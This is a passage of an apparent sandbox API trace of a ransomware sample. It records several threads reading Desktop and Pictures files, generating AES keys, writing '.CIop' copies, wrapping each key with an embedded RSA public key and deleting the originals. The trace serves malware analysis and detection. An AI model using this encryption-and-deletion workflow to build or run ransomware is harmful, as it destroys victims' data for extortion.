nNumberOfBytesToRead=0xd8ea, lpNumberOfBytesRead=0x322e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66ede0*, lpNumberOfBytesRead=0x322e5e8*=0xd8ea, lpOverlapped=0x0) returned 1 [0098.864] CloseHandle (hObject=0x580) returned 1 [0098.864] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dbpsfcucln3nuq6je7.rtf")) returned 1 [0098.867] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3230000 [0098.867] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3240000 [0098.868] SetErrorMode (uMode=0x1) returned 0x1 [0098.868] CryptAcquireContextW (in: phProv=0x322e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x322e5b8*=0x656230) returned 1 [0098.871] CryptGenKey (in: hProv=0x656230, Algid=0x1, dwFlags=0x4000, phKey=0x322e5bc | out: phKey=0x322e5bc*=0x649078) returned 1 [0098.959] CryptExportKey (in: hKey=0x649078, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x322e5ec | out: pbData=0x0*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0098.959] CryptExportKey (in: hKey=0x649078, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3240000, pdwDataLen=0x322e5ec | out: pbData=0x3240000*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0098.959] CryptDestroyKey (hKey=0x649078) returned 1 [0098.959] CryptReleaseContext (hProv=0x656230, dwFlags=0x0) returned 1 [0098.960] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dbpsfcucln3nuq6je7.rtf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x580 [0098.960] WriteFile (in: hFile=0x580, lpBuffer=0x66ede0*, nNumberOfBytesToWrite=0xd8ea, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66ede0*, lpNumberOfBytesWritten=0x322e5d8*=0xd8ea, lpOverlapped=0x0) returned 1 [0098.961] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd8ea [0098.961] WriteFile (in: hFile=0x580, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x322e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.961] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd8f1 [0098.961] SetErrorMode (uMode=0x1) returned 0x1 [0098.961] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.961] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.961] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x322d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598 | out: pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598) returned 1 [0098.961] CryptAcquireContextW (in: phProv=0x322d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x322d5a8*=0x655c58) returned 1 [0098.962] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655c58, dwCertEncodingType=0x1, pInfo=0x64aa90, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x322d5b0 | out: phKey=0x322d5b0*=0x648b78) returned 1 [0098.962] CryptEncrypt (in: hKey=0x648b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x322d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x322d5b4*=0x80) returned 1 [0098.962] CryptEncrypt (in: hKey=0x648b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6561a8*, pdwDataLen=0x322d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6561a8*, pdwDataLen=0x322d5a4*=0x80) returned 1 [0098.962] WriteFile (in: hFile=0x580, lpBuffer=0x6561a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6561a8*, lpNumberOfBytesWritten=0x322e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.962] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.963] VirtualFree (lpAddress=0x3230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.963] VirtualFree (lpAddress=0x3240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.963] CloseHandle (hObject=0x580) returned 1 [0098.964] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dbpsfcucln3nuq6je7.rtf")) returned 0 Thread: id = 151 os_tid = 0x2ec [0099.046] lstrcpyA (in: lpString1=0x30ee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.046] lstrcpyW (in: lpString1=0x30ef368, lpString2="uOf1gCg-syx.bmp" | out: lpString1="uOf1gCg-syx.bmp") returned="uOf1gCg-syx.bmp" [0099.046] lstrcpyW (in: lpString1=0x30ef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0099.046] SetErrorMode (uMode=0x1) returned 0x1 [0099.046] wsprintfW (in: param_1=0x30eeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp") returned 117 [0099.046] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp", dwFileAttributes=0x20) returned 1 [0099.046] StrStrW (lpFirst="uOf1gCg-syx.bmp", lpSrch=".CIop") returned 0x0 [0099.046] wsprintfW (in: param_1=0x30ee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp.CIop") returned 122 [0099.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\uof1gcg-syx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0099.047] ReadFile (in: hFile=0x568, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x72e2, lpNumberOfBytesRead=0x30ee5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x30ee5e8*=0x72e2, lpOverlapped=0x0) returned 1 [0099.047] CloseHandle (hObject=0x568) returned 1 [0099.047] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\uof1gcg-syx.bmp")) returned 1 [0099.060] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3250000 [0099.060] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000 [0099.060] SetErrorMode (uMode=0x1) returned 0x1 [0099.061] CryptAcquireContextW (in: phProv=0x30ee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x30ee5b8*=0x655f00) returned 1 [0099.064] CryptGenKey (in: hProv=0x655f00, Algid=0x1, dwFlags=0x4000, phKey=0x30ee5bc | out: phKey=0x30ee5bc*=0x648838) returned 1 [0099.135] CryptExportKey (in: hKey=0x648838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x30ee5ec | out: pbData=0x0*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0099.135] CryptExportKey (in: hKey=0x648838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3260000, pdwDataLen=0x30ee5ec | out: pbData=0x3260000*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0099.135] CryptDestroyKey (hKey=0x648838) returned 1 [0099.135] CryptReleaseContext (hProv=0x655f00, dwFlags=0x0) returned 1 [0099.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\uof1gcg-syx.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0099.135] WriteFile (in: hFile=0x598, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x72e2, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x30ee5d8*=0x72e2, lpOverlapped=0x0) returned 1 [0099.136] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x72e2 [0099.136] WriteFile (in: hFile=0x598, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x30ee5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.136] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x72e9 [0099.136] SetErrorMode (uMode=0x1) returned 0x1 [0099.137] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.137] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.137] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x30ed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598 | out: pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598) returned 1 [0099.137] CryptAcquireContextW (in: phProv=0x30ed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x30ed5a8*=0x655f00) returned 1 [0099.137] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655f00, dwCertEncodingType=0x1, pInfo=0x649e60, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x30ed5b0 | out: phKey=0x30ed5b0*=0x648df8) returned 1 [0099.137] CryptEncrypt (in: hKey=0x648df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x30ed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x30ed5b4*=0x80) returned 1 [0099.137] CryptEncrypt (in: hKey=0x648df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03588*, pdwDataLen=0x30ed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03588*, pdwDataLen=0x30ed5a4*=0x80) returned 1 [0099.137] WriteFile (in: hFile=0x598, lpBuffer=0x2f03588*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03588*, lpNumberOfBytesWritten=0x30ee5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.137] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.137] VirtualFree (lpAddress=0x3250000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.138] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.138] CloseHandle (hObject=0x598) returned 1 [0099.139] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\uOf1gCg-syx.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\uof1gcg-syx.bmp")) returned 0 Thread: id = 152 os_tid = 0xa94 [0099.048] lstrcpyA (in: lpString1=0x322e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.048] lstrcpyW (in: lpString1=0x322f368, lpString2="dizklXpXe.ppt" | out: lpString1="dizklXpXe.ppt") returned="dizklXpXe.ppt" [0099.048] lstrcpyW (in: lpString1=0x322f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.048] SetErrorMode (uMode=0x1) returned 0x1 [0099.048] wsprintfW (in: param_1=0x322eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt") returned 43 [0099.048] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt", dwFileAttributes=0x20) returned 1 [0099.049] StrStrW (lpFirst="dizklXpXe.ppt", lpSrch=".CIop") returned 0x0 [0099.049] wsprintfW (in: param_1=0x322e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt.CIop") returned 48 [0099.049] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dizklxpxe.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0099.049] ReadFile (in: hFile=0x568, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0x12f2b, lpNumberOfBytesRead=0x322e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x322e5e8*=0x12f2b, lpOverlapped=0x0) returned 1 [0099.050] CloseHandle (hObject=0x568) returned 1 [0099.050] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dizklxpxe.ppt")) returned 1 [0099.052] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3230000 [0099.052] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3240000 [0099.052] SetErrorMode (uMode=0x1) returned 0x1 [0099.052] CryptAcquireContextW (in: phProv=0x322e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x322e5b8*=0x655d68) returned 1 [0099.054] CryptGenKey (in: hProv=0x655d68, Algid=0x1, dwFlags=0x4000, phKey=0x322e5bc | out: phKey=0x322e5bc*=0x648d38) returned 1 [0099.149] CryptExportKey (in: hKey=0x648d38, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x322e5ec | out: pbData=0x0*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0099.150] CryptExportKey (in: hKey=0x648d38, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3240000, pdwDataLen=0x322e5ec | out: pbData=0x3240000*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0099.150] CryptDestroyKey (hKey=0x648d38) returned 1 [0099.150] CryptReleaseContext (hProv=0x655d68, dwFlags=0x0) returned 1 [0099.150] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dizklxpxe.ppt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0099.150] WriteFile (in: hFile=0x598, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0x12f2b, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x322e5d8*=0x12f2b, lpOverlapped=0x0) returned 1 [0099.152] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12f2b [0099.152] WriteFile (in: hFile=0x598, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x322e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.152] SetFilePointer (in: hFile=0x598, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12f32 [0099.152] SetErrorMode (uMode=0x1) returned 0x1 [0099.152] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.152] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.152] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x322d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598 | out: pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598) returned 1 [0099.152] CryptAcquireContextW (in: phProv=0x322d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x322d5a8*=0x2f033f0) returned 1 [0099.153] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f033f0, dwCertEncodingType=0x1, pInfo=0x64aea0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x322d5b0 | out: phKey=0x322d5b0*=0x648a38) returned 1 [0099.153] CryptEncrypt (in: hKey=0x648a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x322d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x322d5b4*=0x80) returned 1 [0099.153] CryptEncrypt (in: hKey=0x648a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03be8*, pdwDataLen=0x322d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03be8*, pdwDataLen=0x322d5a4*=0x80) returned 1 [0099.153] WriteFile (in: hFile=0x598, lpBuffer=0x2f03be8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03be8*, lpNumberOfBytesWritten=0x322e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.153] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.155] VirtualFree (lpAddress=0x3230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.155] VirtualFree (lpAddress=0x3240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.155] CloseHandle (hObject=0x598) returned 1 [0099.157] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dizklXpXe.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dizklxpxe.ppt")) returned 0 Thread: id = 153 os_tid = 0x148 [0099.139] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- 